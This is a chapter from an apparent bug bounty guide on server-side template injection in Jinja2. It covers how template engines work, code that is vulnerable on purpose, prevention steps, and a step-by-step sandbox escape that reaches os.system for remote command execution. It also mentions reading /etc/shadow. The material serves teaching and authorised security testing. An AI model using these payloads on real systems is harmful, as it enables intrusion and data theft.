16

TEMPLATE INJECTION

Template engines are a type of software used to determine the appearance of a web page. Developers often overlook attacks that target these engines, called *server-side template injections (SSTIs)*, yet they can lead to severe consequences, like remote code execution. They have become more common in the past few years, with instances found in the applications of organizations such as Uber and Shopify.

In this chapter, we'll dive into the mechanisms of this vulnerability by focusing on web applications using the Jinja2 template engine. After confirming that we can submit template injections to the application, we'll take advantage of Python sandbox-escaping tricks to run operating system commands on the server.

Exploiting various template engines will require different syntax and methods, but this chapter should give you a good introduction to the principles useful for finding and exploiting template injection vulnerabilities on any system.

Mechanisms

To understand how template injections work, you need to understand the mechanisms of the template engines they target. Simply put, template engines combine application data with web templates to produce web pages. These web templates, written in template languages such as Jinja, provide developers with a way to specify how a page should be rendered. Together, web templates and template engines allow developers to separate server-side application logic and client-side presentation code during web development.

Template Engines

Let's take a look at Jinja, a template language for Python. Here is a template file written in Jinja. We will store this file with the name *example.jinja*:

```
<html>
  <body>
❶ <h1>{{ list_title }}</h1>
  <h2>{{ list_description }}</h2>
❷ {% for item in item_list %}
    {{ item }}
    {% if not loop.last %},{% endif %}
  {% endfor %}
  </body>
</html>
```

As you can see, this template file looks like normal HTML. However, it contains special syntax to indicate content that the template engine should interpret as template code. In Jinja, any code surrounded by double curly brackets {{ }} is to be interpreted as a Python expression, and code surrounded by bracket and percent sign pairings {% %} should be interpreted as a Python statement.

In programming languages, an *expression* is either a variable or a function that returns a value, whereas a *statement* is code that doesn't return anything. Here, you can see that the template first embeds the expressions `list_title` and `list_description` in HTML header tags ❶. Then it creates a loop to render all items in the `item_list` variable in the HTML body ❷.

Now the developer can combine the template with Python code to create the complete HTML page. The following piece of Python code reads the template file from *example.jinja* and generates an HTML page dynamically by providing the template engine with values to insert into the template:

```
from jinja2 import Template
  with open('example.jinja') as f: ❶
    tmpl = Template(f.read())
```

```
  print(tmpl.render( ❷
    list_title = ❸ "Chapter Contents",
    list_description = ❹ "Here are the contents of chapter 16.",
    item_list = ❺ ["Mechanisms Of Template Injection", "Preventing Template Injection",
"Hunting For Template Injection", \
"Escalating Template Injection", "Automating Template Injection", "Find Your First Template
Injection!"]
))
```

First, the Python code reads the template file named *example.jinja* ❶. It then generates an HTML page dynamically by providing the template with the values it needs ❷. You can see that the code is rendering the template with the values `Chapter Contents` as the `list_title` ❸, and `Here are the contents of chapter 16.` as the `list_description` ❹, and a list of values—`Mechanisms Of Template Injection`, `Preventing Template Injection`, `Hunting For Template Injection`, `Escalating Template Injection`, `Automating Template Injection`, and `Find Your First Template Injection!`—as the `item_list` ❺.

The template engine will combine the data provided in the Python script and the template file *example.jinja* to create this HTML page:

```
<html>
  <body>
  <h1>Chapter Contents</h1>
  <h2>Here are the contents of chapter 16.</h2>
  Mechanisms Of Template Injection,
  Preventing Template Injection,
  Hunting For Template Injection,
  Escalating Template Injection,
  Automating Template Injection,
  Find Your First Template Injection!
  </body>
</html>
```

Template engines make rendering web pages more efficient, as developers can present different sets of data in a standardized way by reusing templates. This functionality is especially useful when developers need to generate pages of the same format with custom content, such as bulk emails, individual item pages on an online marketplace, and the profile pages of different users. Separating HTML code and application logic also makes it easier for developers to modify and maintain parts of the HTML code.

Popular template engines on the market include Jinja, Django, and Mako (which work with Python), Smarty and Twig (which work with PHP), and Apache FreeMarker and Apache Velocity (which work with Java). We'll talk more about how to identify these template engines in applications later in this chapter.

Injecting Template Code

Template injection vulnerabilities happen when a user is able to inject input into templates without proper sanitization. Our previous example isn't vulnerable to template injection vulnerabilities because it does not embed

user input into templates. It simply passes a list of hardcoded values as the `list_title`, `list_description`, and `item_list` into the template. Even if the preceding Python snippet does pass user input into the template like this, the code would not be vulnerable to template injection because it is safely passing user input into the template as data:

```
from jinja2 import Template
with open('example.jinja') as f:
    tmpl = Template(f.read())
print(tmpl.render(
   ❶ list_title = user_input.title,
   ❷ list_description = user_input.description,
   ❸ item_list = user_input.list,
))
```

As you can see, the code is clearly defining that the title portion of the `user_input` can be used only as the `list_title` ❶, the description portion of the `user_input` is the `list_description` ❷, and the list portion of the `user_input` can be used for the `item_list` of the template ❸.

However, sometimes developers treat templates like strings in programming languages and directly concatenate user input into them. This is where things go wrong, as the template engine won't be able to distinguish between user input and the developer's template code.

Here's an example. The following program takes user input and inserts it into a Jinja template to display the user's name on an HTML page:

```
from jinja2 import Template
tmpl = Template("
<html><h1>The user's name is: " + user_input + "</h1></html>")❶ print(tmpl.render())❷
```

The code first creates a template by concatenating HTML code and user input together ❶, then renders the template ❷.

If users submit a GET request to that page, the website will return an HTML page that displays their name:

```
GET /display_name?name=Vickie
Host: example.com
```

This request will cause the template engine to render the following page:

```
<html>
  <h1>The user's name is: Vickie</h1>
</html>
```

Now, what if you submitted a payload like the following instead?

```
GET /display_name?name={{1+1}}
Host: example.com
```

Instead of supplying a name as the `name` parameter, you are submitting an expression that has special meaning for the template engine. Jinja2

interprets anything within double curly brackets {{ }} as Python code. You will notice something odd in the resulting HTML page. Instead of displaying the string `The user's name is: {{1+1}}`, the page displays the string `The user's name is: 2`:

```
<html>
  <h1>The user's name is: 2</h1>
</html>
```

What just happened? When you submitted `{{1+1}}` as your name, the template engine mistook the content enclosed in {{ }} as a Python expression, so it executed `1+1` and returned the number `2` in that field.

This means you can submit any Python code you'd like and get its results returned in the HTML page. For instance, `upper()` is a method in Python that converts a string to uppercase. Try submitting the code snippet `{{'Vickie'.upper()}}`, like this:

```
GET /display_name?name={{'Vickie'.upper()}}
Host: example.com
```

You should see an HTML page like this returned:

```
<html>
  <h1>The user's name is: VICKIE</h1>
</html>
```

You may have noticed that template injections are similar to SQL injections. If the template engine can't determine where a piece of user-supplied data ends and where the template logic starts, the template engine will mistake user input for template code. In those cases, attackers can submit arbitrary code and get the template engine to execute their input as source code!

Depending on the permissions of the compromised application, attackers might be able to use the template injection vulnerability to read sensitive files or escalate their privileges on the system. We will talk more about escalating template injections later in this chapter.

Prevention

How can you prevent this dangerous vulnerability? The first way is by regularly patching and updating the frameworks and template libraries your application uses. Many developers and security professionals are catching on to the danger of template injections. As a result, template engines publish various mitigations against this attack. Constantly updating your software to the newest version will ensure that your applications are protected against new attack vectors.

You should also prevent users from supplying user-submitted templates if possible. If that isn't an option, many template engines provide a hardened sandbox environment that you can use to safely handle user input. These sandbox environments remove potentially dangerous modules and

functions, making user-submitted templates safer to evaluate. However, researchers have published numerous sandbox escape exploits, so this is by no means a bulletproof method. Sandbox environments are also only as safe as their configurations.

Implement an allowlist for allowed attributes in templates to prevent the kind of RCE exploit that I'll introduce in this chapter. Also, sometimes template engines raise descriptive errors that help attackers develop exploits. You should handle these errors properly and return a generic error page to the user. Finally, sanitize user input before embedding it into web templates and avoid injecting user-supplied data into templates whenever possible.

Hunting for Template Injection

As with hunting for many other vulnerabilities, the first step in finding template injections is to identify locations in an application that accept user input.

Step 1: Look for User-Input Locations

Look for locations where you can submit user input to the application. These include URL paths, parameters, fragments, HTTP request headers and body, file uploads, and more.

Templates are typically used to dynamically generate web pages from stored data or user input. For example, applications often use template engines to generate customized email or home pages based on the user's information. So to look for template injections, look for endpoints that accept user input that will eventually be displayed back to the user. Since these endpoints typically coincide with the endpoints for possible XXS attacks, you can use the strategy outlined in Chapter 6 to identify candidates for template injection. Document these input locations for further testing.

Step 2: Detect Template Injection by Submitting Test Payloads

Next, detect template injection vulnerabilities by injecting a test string into the input fields you identified in the previous step. This test string should contain special characters commonly used in template languages. I like to use the string `{{1+abcxx}}${1+abcxx}<%1+abcxx%>[abcxx]` because it's designed to induce errors in popular template engines. `${...}` is the special syntax for expressions in the FreeMarker and Thymeleaf Java templates; `{{...}}` is the syntax for expressions in PHP templates such as Smarty or Twig, and Python templates like Jinja2; and `<%= ... %>` is the syntax for the Embedded Ruby template (ERB). And `[`*`random expression`*`]` will make the server interpret the random expression as a list item if the user input is placed into an expression tag within the template (we will discuss an example of this scenario later).

In this payload, I make the template engine resolve the variable with the name `abcxx`, which probably has not been defined in the application. If you get an application error from this payload, that's a good indication of

template injection, because it means that the special characters are being treated as special by the template engine. But if error messages are suppressed on the server, you need to use another method to detect template injection vulnerabilities.

Try providing these test payloads to the input fields `${7*7}`, `{{7*7}}`, and `<%= 7*7 %>`. These payloads are designed to detect template injection in various templating languages. `${7*7}` works for the FreeMarker and Thymeleaf Java templates; `{{7*7}}` works for PHP templates such as Smarty or Twig, and Python templates like Jinja2; and `<%= 7*7 %>` works for the ERB template. If any of the returned responses contain the result of the expression, 49, it means that the data is being interpreted as code by the template engine:

```
GET /display_name?name={{7*7}}
Host: example.com
```

While testing these endpoints for template injections, keep in mind that successful payloads don't always cause results to return immediately. Some applications might insert your payload into a template somewhere else. The results of your injection could show up in future web pages, emails, and files. A time delay also might occur between when the payload is submitted and when the user input is rendered in a template. If you're targeting one of these endpoints, you'll need to look out for signs that your payload has succeeded. For example, if an application renders an input field unsafely when generating a bulk email, you will need to look at the generated email to check whether your attack has succeeded.

The three test payloads `${7*7}`, `{{7*7}}`, and `<%= 7*7 %>` would work when user input is inserted into the template as plaintext, as in this code snippet:

```
from jinja2 import Template
tmpl = Template("
<html><h1>The user's name is: " + user_input + "</h1></html>")print(tmpl.render())
```

But what if the user input is concatenated into the template as a part of the template's logic, as in this code snippet?

```
from jinja2 import Template
tmpl = Template("
<html><h1>The user's name is: {{" + user_input + "}}</h1></html>")print(tmpl.render())
```

Here, the user input is placed into the template within expression tags `{{...}}`. Therefore, you do not have to provide extra expression tags for the server to interpret the input as code. In that case, the best way to detect whether your input is being interpreted as code is to submit a random expression and see if it gets interpreted as an expression. In this case, you can input `7*7` to the field and see if `49` gets returned:

```
GET /display_name?name=7*7
Host: example.com
```

Step 3: Determine the Template Engine in Use

Once you've confirmed the template injection vulnerability, determine the template engine in use to figure out how to best exploit that vulnerability. To escalate your attack, you'll have to write your payload with a programming language that the particular template engine expects.

If your payload caused an error, the error message itself may contain the name of the template engine. For example, submitting my test string `{{1+abcxx}}${1+abcxx}<%1+abcxx%>[abcxx]` to our example Python application would cause a descriptive error that tells me that the application is using Jinja2:

```
jinja2.exceptions.UndefinedError: 'abcxx' is undefined
```

Otherwise, you can figure out the template engine in use by submitting test payloads specific to popular template languages. For example, if you submit `<%= 7*7 %>` as the payload and `49` gets returned, the application probably uses the ERB template. If the successful payload is `${7*7}`, the template engine could either be Smarty or Mako. If the successful payload is `{{7*7}}`, the application is likely using Jinja2 or Twig. At that point, you could submit another payload, `{{7*'7'}}`, which would return `7777777` in Jinja2 and `49` in Twig. These testing payloads are taken from PortSwigger research: *https://portswigger.net/research/server-side-template-injection/*.

Many other template engines are used by web applications besides the ones I've talked about. Many have similar special characters designed not to interfere with normal HTML syntax, so you might need to perform multiple test payloads to definitively determine the type of template engine you are attacking.

Escalating the Attack

Once you've determined the template engine in use, you can start to escalate the vulnerability you've found. Most of the time, you can simply use the `7*7` payload introduced in the preceding section to prove the template injection to the security team. But if you can show that the template injection can be used to accomplish more than simple mathematics, you can prove the impact of your bug and show the security team its value.

Your method of escalating the attack will depend on the template engine you're targeting. To learn more about it, read the official documentation of the template engine and the accompanying programming language. Here, I'll show how you can escalate a template injection vulnerability to achieve system command execution in an application running Jinja2.

Being able to execute system commands is extremely valuable for the attacker because it might allow them to read sensitive system files like customer data and source code files, update system configurations, escalate their privileges on the system, and attack other machines on the network. For example, if an attacker can execute arbitrary system commands on a Linux machine, they can read the system's password file by executing the

command `cat /etc/shadow`. They can then use a password-cracking tool to crack the system admin's encrypted password and gain access to the admin's account.

Searching for System Access via Python Code

Let's circle back to our example application. We already know that you can execute Python code by using this template injection vulnerability. But how do you go on to execute system commands by injecting Python code?

```
from jinja2 import Template
tmpl = Template("
<html><h1>The user's name is: " + user_input + "</h1></html>")print(tmpl.render())
```

Normally in Python, you can execute system commands via the `os.system()` function from the `os` module. For example, this line of Python code would execute the Linux system command `ls` to display the contents of the current directory:

```
os.system('ls')
```

However, if you submit this payload to our example application, you most likely won't get the results you expect:

```
GET /display_name?name={{os.system('ls')}}
Host: example.com
```

Instead, you'll probably run into an application error:

```
jinja2.exceptions.UndefinedError: 'os' is undefined
```

This is because the `os` module isn't recognized in the template's environment. By default, it doesn't contain dangerous modules like `os`. Normally, you can import Python modules by using the syntax `import` *`MODULE`*, or `from` *`MODULE`* `import *`, or finally `__import__('`*`MODULE`*`')`. Let's try to import the `os` module:

```
GET /display_name?name="{{__import__('os').system('ls')}}"
Host: example.com
```

If you submit this payload to the application, you will probably see another error returned:

```
jinja2.exceptions.UndefinedError: '__import__' is undefined
```

This is because you can't import modules within Jinja templates. Most template engines will block the use of dangerous functionality such as `import` or make an allowlist that allows users to perform only certain operations within the template. To escape these limitations of Jinja2, you need to take advantage of Python sandbox-escape techniques.

Escaping the Sandbox by Using Python Built-in Functions

One of these techniques involves using Python's built-in functions. When you're barred from importing certain useful modules or importing anything at all, you need to investigate functions that are already imported by Python by default. Many of these built-in functions are integrated as a part of Python's `object` class, meaning that when we want to call these functions, we can create an object and call the function as a method of that object. For example, the following GET request contains Python code that lists the Python classes available:

```
GET /display_name?name="{{[].__class__.__bases__[0].__subclasses__()}}"
Host: example.com
```

When you submit this payload into the template injection endpoint, you should see a list of classes like this:

```
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class
'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class
'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class
'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_
keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reverse
keyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitem
iterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class
'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class
'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memory
view'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class
'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_
or_method'>, <class 'method'>, <class 'function'>...]
```

To better understand what's happening here, let's break down this payload a bit:

```
[].__class__.__bases__[0].__subclasses__()
```

It first creates an empty list and calls its `__class__` attribute, which refers to the class the instance belongs to, `list`:

```
[].__class__
```

Then you can use the `__bases__` attribute to refer to the base classes of the `list` class:

```
[].__class__.__bases__
```

This attribute will return a tuple (which is just an ordered list in Python) of all the base classes of the class `list`. A *base class* is a class that the current class is built from; `list` has a base class called `object`. Next, we need to access the `object` class by referring to the first item in the tuple:

```
[].__class__.__bases__[0]
```

Finally, we use `__subclasses__()` to refer to all the subclasses of the class:

```
[].__class__.__bases__[0].__subclasses__()
```

When we use this method, all the subclasses of the `object` class become accessible to us! Now, we simply need to look for a method in one of these classes that we can use for command execution. Let's explore one possible way of executing code. Before we go on, keep in mind that not every application's Python environment will have the same classes. Moreover, the payload I'll talk about next may not work on all target applications.

The `__import__` function, which can be used to import modules, is one of Python's built-in functions. But since Jinja2 is blocking its direct access, you will need to access it via the `builtins` module. This module provides direct access to all of Python's built-in classes and functions. Most Python modules have `__builtins__` as an attribute that refers to the built-in module, so you can recover the `builtins` module by referring to the `__builtins__` attribute.

Within all the subclasses in `[].__class__.__bases__[0].__subclasses__()`, there is a class named `catch_warnings`. This is the subclass we'll use to construct our exploit. To find the `catch_warnings` subclass, inject a loop into the template code to look for it:

```
❶ {% for x in [].__class__.__bases__[0].__subclasses__() %}
❷ {% if 'catch_warnings' in x.__name__ %}
❸ {{x()}}
{%endif%}
{%endfor%}
```

This loop goes through all the classes in `[].__class__.__bases__[0].__subclasses__()` ❶ and finds the one with the string `catch_warnings` in its name ❷. Then it instantiates an object of that class ❸. Objects of the class `catch_warnings` have an attribute called `_module` that refers to the `warnings` module.

Finally, we use the reference to the module to refer to the `builtins` module:

```
{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
{{x()._module.__builtins__}}
{%endif%}
{%endfor%}
```

You should see a list of built-in classes and functions returned, including the function `__import__`:

```
{'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\
nNoteworthy: None is the 'nil' object; Ellipsis represents '...' in slices.", '__package__':
'', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name=
'builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), '__build_class__': <built-in
function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in
```

```
function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii':
<built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function
breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>,
'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir':
<built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function
eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr':
<built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in
function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id':
<built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function
isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>,
'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function
max>, 'min': <built-in function min>, 'next': <built-in function next>, 'oct': <built-in
function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print':
<built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function
round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum':
<built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis,
'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>,
'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>,
'classmethod': <class 'classmethod'>, ...}
```

We now have a way to access the import functionality! Since the built-in classes and functions are stored in a Python dictionary, you can access the `__import__` function by referring to the key of the function's entry in the dictionary:

```
{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
{{x()._module.__builtins__['__import__']}}
{%endif%}
{%endfor%}
```

Now we can use the `__import__` function to import the `os` module. You can import a module with `__import__` by providing the name of that module as an argument. Here, let's import the `os` module so we can access the `system()` function:

```
{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
{{x()._module.__builtins__['__import__']('os')}}
{%endif%}
{%endfor%}
```

Finally, call the `system()` function and put the command we want to execute as the `system()` function's argument:

```
{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').system('ls')}}
{%endif%}
{%endfor%}
```

You should see the results of the `ls` command returned. This command lists the contents of the current directory. You've achieved command execution! Now, you should be able to execute arbitrary system commands with this template injection.

Submitting Payloads for Testing

For testing purposes, you should execute code that doesn't harm the system you're targeting. A common way of proving that you've achieved command execution and gained access to the operating system is to create a file with a distinct filename on the system, such as *template_injection_by_YOUR_BUG_BOUNTY_USERNAME.txt*, so that the file is clearly a part of your proof of concept. Use the `touch` command to create a file with the specified name in the current directory:

```
{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'warning' in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').system('touch template_injection_by_vickie
.txt')}}
{%endif%}
{%endfor%}
```

Different template engines require different escalation techniques. If exploring this interests you, I encourage you to do more research into the area. Code execution and sandbox escapes are truly fascinating topics. We will discuss more about how to execute arbitrary code on target systems in Chapter 18. If you are interested in learning more about sandbox escapes, these articles discuss the topic in more detail (this chapter's example was developed from a tip in Programmer Help):

- CTF Wiki, *https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/*
- HackTricks, *https://book.hacktricks.xyz/misc/basic-python/bypass-python-sandboxes/*
- Programmer Help, *https://programmer.help/blogs/python-sandbox-escape.html*

Automating Template Injection

Developing exploits for each system you target can be time-consuming. Luckily, templates often contain already known exploits that others have discovered, so when you find a template injection vulnerability, it's a good idea to automate the exploitation process to make your work more efficient.

One tool built to automate the template injection process, called tplmap (*https://github.com/epinna/tplmap/*), can scan for template injections, determine the template engine in use, and construct exploits. While this tool does not support every template engine, it should provide you with a good starting point for the most popular ones.

Finding Your First Template Injection!

It's time to find your first template injection vulnerability by following the steps we discussed in this chapter:

1. Identify any opportunity to submit user input to the application. Mark down candidates of template injection for further inspection.
2. Detect template injection by submitting test payloads. You can use either payloads that are designed to induce errors, or engine-specific payloads designed to be evaluated by the template engine.
3. If you find an endpoint that is vulnerable to template injection, determine the template engine in use. This will help you build an exploit specific to the template engine.
4. Research the template engine and programming language that the target is using to construct an exploit.
5. Try to escalate the vulnerability to arbitrary command execution.
6. Create a proof of concept that does not harm the targeted system. A good way to do this is to execute `touch template_injection_by_`*`YOUR_NAME`*`.txt` to create a specific proof-of-concept file.
7. Draft your first template injection report and send it to the organization!